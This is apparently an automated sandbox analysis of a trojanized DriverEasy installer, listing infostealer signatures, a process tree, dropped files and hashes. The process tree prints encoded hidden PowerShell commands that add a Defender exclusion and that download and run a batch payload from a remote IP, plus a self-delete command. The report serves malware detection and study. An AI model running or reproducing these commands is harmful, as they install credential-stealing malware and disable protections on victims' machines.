Analysis

  • max time kernel
    85s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/12/2022, 18:53

General

  • Target
    DriverEasy.exe
  • Size 6.1MB
  • Sample221223-xjmcjagh87
  • SHA256 3500abcc8f0c8af8f665b03f8bab9c712fe8b4a073ea1f35618e68c7b7075794
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DriverEasy.exe
    "C:\Users\Admin\AppData\Local\Temp\DriverEasy.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Users\Admin\AppData\Local\Temp\is-J0EFT.tmp\DriverEasy.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-J0EFT.tmp\DriverEasy.tmp" /SL5="$90042,5500513,969216,C:\Users\Admin\AppData\Local\Temp\DriverEasy.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3520
      • C:\Users\Admin\AppData\Local\Temp\is-6KUR3.tmp\DriverEasy.5.7.3.exe
        "C:\Users\Admin\AppData\Local\Temp\is-6KUR3.tmp\DriverEasy.5.7.3.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4644
        • C:\Users\Admin\AppData\Local\Temp\is-B1466.tmp\DriverEasy.5.7.3.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-B1466.tmp\DriverEasy.5.7.3.tmp" /SL5="$501CA,3761185,330752,C:\Users\Admin\AppData\Local\Temp\is-6KUR3.tmp\DriverEasy.5.7.3.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:3472
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\AnnMagenta\main.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3392
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ex alLSigNeD -NOl -w hIdDEn -EC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACgAJwBDADoAXAAnACkA
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2740
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EX AllsIgNED -NoNI -W HiddeN -eC IAAgAEkAbgBWAE8ASwBFAC0AUgBlAHMAdABtAGUAVABIAG8ARAAgAC0AVQBSAGkAIAAgAB0gaAB0AHQAcAA6AC8ALwAxADgAOAAuADkAMwAuADIAMwAzAC4AOQA5AC8AZAB3AGIAbgB0AHIALwBtAHoAdgBnAG0AcAAuAGIAYQB0AB0gIAAgAC0AbwB1AFQAZgBJAGwARQAgAAkAHSAkAEUAbgB2ADoAYQBsAGwAdQBTAGUAUgBzAHAAUgBPAEYASQBsAGUAXABtAHoAdgBnAG0AcAAuAGIAYQB0AB0gIAA7ACAACQBbAEQAaQBhAGcAbgBvAFMAVABJAEMAcwAuAHAAUgBPAGMARQBzAFMAXQA6ADoAUwBUAGEAcgB0ACgAHSAkAGUAbgB2ADoAQQBsAGwAVQBzAEUAUgBzAFAAcgBvAEYASQBMAGUAXABtAHoAdgBnAG0AcAAuAGIAYQB0AB0gKQA=
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:704
          • C:\ProgramData\mzvgmp.bat
            "C:\ProgramData\mzvgmp.bat"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1544
            • C:\Users\Admin\AppData\Local\Temp\SETUP_40619\Engine.exe
              C:\Users\Admin\AppData\Local\Temp\SETUP_40619\Engine.exe /TH_ID=_3936 /OriginExe="C:\ProgramData\mzvgmp.bat"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4540
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c cmd < 77
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:776
                • C:\Windows\SysWOW64\cmd.exe
                  cmd
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:428
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell get-process avastui
                    9⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3184
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell get-process avgui
                    9⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4684
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /V /R "^3276271961107235737107262929284996729979273364995699188611546279821151797903501914469$" 3
                    9⤵
                      PID:1800
                    • C:\Users\Admin\AppData\Local\Temp\hcry5ntv.jsa\1216\Lows.exe.pif
                      1216\\Lows.exe.pif 1216\\U
                      9⤵
                      • Executes dropped EXE
                      • Checks computer location settings
                      • Loads dropped DLL
                      • Checks processor information in registry
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      • Suspicious use of WriteProcessMemory
                      PID:3860
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\hcry5ntv.jsa\1216\Lows.exe.pif" & exit
                        10⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3832
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 6
                          11⤵
                          • Delays execution with timeout.exe
                          PID:3592
                    • C:\Windows\SysWOW64\PING.EXE
                      ping localhost -n 8
                      9⤵
                      • Runs ping.exe
                      PID:744
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:1488
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
      1⤵
      • Drops desktop.ini file(s)
      • Checks processor information in registry
      • Modifies registry class
      PID:4080
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
      1⤵
      • Checks processor information in registry
      • Modifies registry class
      PID:2324

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          main.bat

          • Path C:\ProgramData\AnnMagenta\main.bat
          • Size 900B
          • SHA256 039f1c7884585313b102b25473d68f651cfb402aa5786014366d5b2889a1f3e0
          • MD5 SHA1 SHA512

          mozglue.dll

          • Path C:\ProgramData\mozglue.dll
          • Size 133KB
          • SHA256 3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd
          • MD5 SHA1 SHA512 SSDEEP

          mzvgmp.bat

          • Path C:\ProgramData\mzvgmp.bat
          • Size 1.3MB
          • SHA256 29295959660aa9a252698646f13dcbf1c9fd77f7f9e230c96535fa868da87acb
          • MD5 SHA1 SHA512 SSDEEP

          mzvgmp.bat

          • Path C:\ProgramData\mzvgmp.bat
          • Size 1.3MB
          • SHA256 29295959660aa9a252698646f13dcbf1c9fd77f7f9e230c96535fa868da87acb
          • MD5 SHA1 SHA512 SSDEEP

          nss3.dll

          • Path C:\ProgramData\nss3.dll
          • Size 1.2MB
          • SHA256 e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
          • MD5 SHA1 SHA512 SSDEEP

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 603852e30a0d4421b1a0d0e28f96dc82a42aeb08443229eeafc3d88b7c3c416c
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 7b45bcd5be298a92f3249125843ed96ee39931e25013e2a01b25a20c637249eb
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 5ebb9a86d894bb8e3eade87afea996efcc8f98e8dbb39d68b1190bb7501e806e
          • MD5 SHA1 SHA512 SSDEEP

          00000#3

          • Path C:\Users\Admin\AppData\Local\Temp\SETUP_40619\00000#3
          • Size 872KB
          • SHA256 73c1cec9a5f4d1894d15209e8764fc0650e41907de5c846585b75002b399b079
          • MD5 SHA1 SHA512 SSDEEP

          00001#7

          • Path C:\Users\Admin\AppData\Local\Temp\SETUP_40619\00001#7
          • Size 803KB
          • SHA256 93397fb34f1363287d38ed030586590a3a9e0e9da1d13465e073c6148f7f9881
          • MD5 SHA1 SHA512 SSDEEP

          00002#77

          • Path C:\Users\Admin\AppData\Local\Temp\SETUP_40619\00002#77
          • Size 11KB
          • SHA256 1dde1e4f66a546f936781219c8e7d5817325143dce28634f920e5c20ce25600c
          • MD5 SHA1 SHA512 SSDEEP

          Engine.exe

          • Path C:\Users\Admin\AppData\Local\Temp\SETUP_40619\Engine.exe
          • Size 392KB
          • SHA256 e6e73497e85e9ece4c92ac7d49e07b9d55e932ba2d9e5789b94b95a9841ee524
          • MD5 SHA1 SHA512 SSDEEP

          Engine.exe

          • Path C:\Users\Admin\AppData\Local\Temp\SETUP_40619\Engine.exe
          • Size 392KB
          • SHA256 e6e73497e85e9ece4c92ac7d49e07b9d55e932ba2d9e5789b94b95a9841ee524
          • MD5 SHA1 SHA512 SSDEEP

          Modern_Icon.bmp

          • Path C:\Users\Admin\AppData\Local\Temp\SETUP_40619\Modern_Icon.bmp
          • Size 7KB
          • SHA256 b5dad33ceb6eb1ac2a05fbda76e29a73038403939218a88367925c3a20c05532
          • MD5 SHA1 SHA512 SSDEEP

          Setup.txt

          • Path C:\Users\Admin\AppData\Local\Temp\SETUP_40619\Setup.txt
          • Size 2KB
          • SHA256 bb6d36e7558fe248cc4c3d0cce9c134167287275d7c8b276f3b7ea63be29d2fc
          • MD5 SHA1 SHA512

          Lows.exe.pif

          • Path C:\Users\Admin\AppData\Local\Temp\hcry5ntv.jsa\1216\Lows.exe.pif
          • Size 872KB
          • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
          • MD5 SHA1 SHA512 SSDEEP

          Lows.exe.pif

          • Path C:\Users\Admin\AppData\Local\Temp\hcry5ntv.jsa\1216\Lows.exe.pif
          • Size 872KB
          • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
          • MD5 SHA1 SHA512 SSDEEP

          DriverEasy.5.7.3.exe

          • Path C:\Users\Admin\AppData\Local\Temp\is-6KUR3.tmp\DriverEasy.5.7.3.exe
          • Size 4.0MB
          • SHA256 1e7ad3c0528b4e11b7b3f9b31e4321471f746cd722034aa2bf7d10ebb51100df
          • MD5 SHA1 SHA512 SSDEEP

          DriverEasy.5.7.3.exe

          • Path C:\Users\Admin\AppData\Local\Temp\is-6KUR3.tmp\DriverEasy.5.7.3.exe
          • Size 4.0MB
          • SHA256 1e7ad3c0528b4e11b7b3f9b31e4321471f746cd722034aa2bf7d10ebb51100df
          • MD5 SHA1 SHA512 SSDEEP

          _iscrypt.dll

          • Path C:\Users\Admin\AppData\Local\Temp\is-6KUR3.tmp\_isetup\_iscrypt.dll
          • Size 2KB
          • SHA256 2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc
          • MD5 SHA1 SHA512

          DriverEasy.5.7.3.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\is-B1466.tmp\DriverEasy.5.7.3.tmp
          • Size 1.1MB
          • SHA256 26f877e0e715507e37f2ca323e0e5897d4246478ee55b8b779eb0b4e92ef7244
          • MD5 SHA1 SHA512 SSDEEP

          DriverEasy.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\is-J0EFT.tmp\DriverEasy.tmp
          • Size 3.1MB
          • SHA256 40656ae28fb81887f0bd4ab68f5660cb3c7091537c1172eff5d05422230cdc20
          • MD5 SHA1 SHA512 SSDEEP

          iswin7logo.dll

          • Path C:\Users\Admin\AppData\Local\Temp\is-SSHAP.tmp\iswin7logo.dll
          • Size 39KB
          • SHA256 30eb67bdd71d3a359819a72990029269672d52f597a2d1084d838caae91a6488
          • MD5 SHA1 SHA512 SSDEEP

          memory/2740-164-0x0000000007DD0000-0x0000000007E66000-memory.dmp

          memory/2740-165-0x0000000007D70000-0x0000000007D7E000-memory.dmp

          memory/2740-166-0x0000000007E90000-0x0000000007EAA000-memory.dmp

          memory/2740-167-0x0000000007DC0000-0x0000000007DC8000-memory.dmp

          memory/2740-163-0x0000000007990000-0x000000000799A000-memory.dmp

          memory/2740-162-0x0000000007930000-0x000000000794A000-memory.dmp

          memory/2740-161-0x0000000008260000-0x00000000088DA000-memory.dmp

          memory/2740-160-0x0000000006DC0000-0x0000000006DDE000-memory.dmp

          memory/2740-159-0x0000000075690000-0x00000000756DC000-memory.dmp

          memory/2740-158-0x0000000006DE0000-0x0000000006E12000-memory.dmp

          memory/2740-157-0x00000000055C0000-0x00000000055DE000-memory.dmp

          memory/2740-155-0x00000000061C0000-0x0000000006226000-memory.dmp

          memory/2740-154-0x0000000006150000-0x00000000061B6000-memory.dmp

          memory/2740-153-0x0000000005FB0000-0x0000000005FD2000-memory.dmp

          memory/2740-150-0x0000000005950000-0x0000000005F78000-memory.dmp

          memory/2740-149-0x0000000005260000-0x0000000005296000-memory.dmp

          memory/3184-189-0x0000000006E00000-0x0000000006E22000-memory.dmp

          memory/3184-190-0x0000000008120000-0x00000000086C4000-memory.dmp

          memory/3472-210-0x0000000073AE0000-0x0000000073AFB000-memory.dmp

          memory/3472-175-0x0000000002340000-0x0000000002343000-memory.dmp

          memory/3472-152-0x0000000002340000-0x0000000002343000-memory.dmp

          memory/3472-151-0x0000000073AE0000-0x0000000073AFB000-memory.dmp

          memory/3860-203-0x0000000003E90000-0x00000000042C3000-memory.dmp

          memory/3860-207-0x0000000003E90000-0x0000000003EF7000-memory.dmp

          memory/4332-156-0x0000000000400000-0x00000000004FA000-memory.dmp

          memory/4332-132-0x0000000000400000-0x00000000004FA000-memory.dmp

          memory/4540-197-0x0000000000400000-0x0000000000558000-memory.dmp

          memory/4540-198-0x0000000000400000-0x0000000000558000-memory.dmp

          memory/4540-179-0x0000000000400000-0x0000000000558000-memory.dmp

          memory/4644-139-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/4644-145-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/4644-171-0x0000000000400000-0x0000000000458000-memory.dmp